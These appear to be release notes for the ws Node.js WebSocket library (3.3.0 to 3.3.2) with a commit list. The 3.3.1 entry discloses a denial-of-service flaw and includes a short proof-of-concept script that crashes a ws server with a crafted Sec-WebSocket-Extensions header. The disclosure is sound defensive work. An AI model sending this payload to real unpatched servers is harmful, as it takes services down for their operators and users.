Sourced from ws's releases.

3.3.2

Bug fixes

• The parser of the Sec-WebSocket-Extensions header has been rewritten to make it spec-compliant (#1240).

3.3.1

Bug fixes

• Fixed a DoS vulnerability (c4fe466).

A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

The vulnerability has been privately reported by Nick Starke and Ryan Knell of Sonatype Security Research and promptly fixed. Please update now!

3.3.0

Features

• Added ecdhCurve option (#1228).

• 46b2547 [dist] 3.3.2
• 02d0011 [test] Use an OS-assigned arbitrary unused port
• 9c73abe [minor] Remove some redundant code
• 0a9621f [minor] Merge pushOffer() and pushParam() into push()
• 16f727d [doc] Clarify PerMessageDeflate options
• 0c8c0b8 [minor] Add JSDoc for PerMessageDeflate constructor
• b4465f6 [test] Increase code coverage
• 5d973fb [minor] Parse the Sec-WebSocket-Extensions header only when necessary
• b7089ff [fix] Rewrite the parser of the Sec-WebSocket-Extensions header
• d96c58c chore(package): update eslint to version 4.11.0 (#1234)
• Additional commits viewable in compare view

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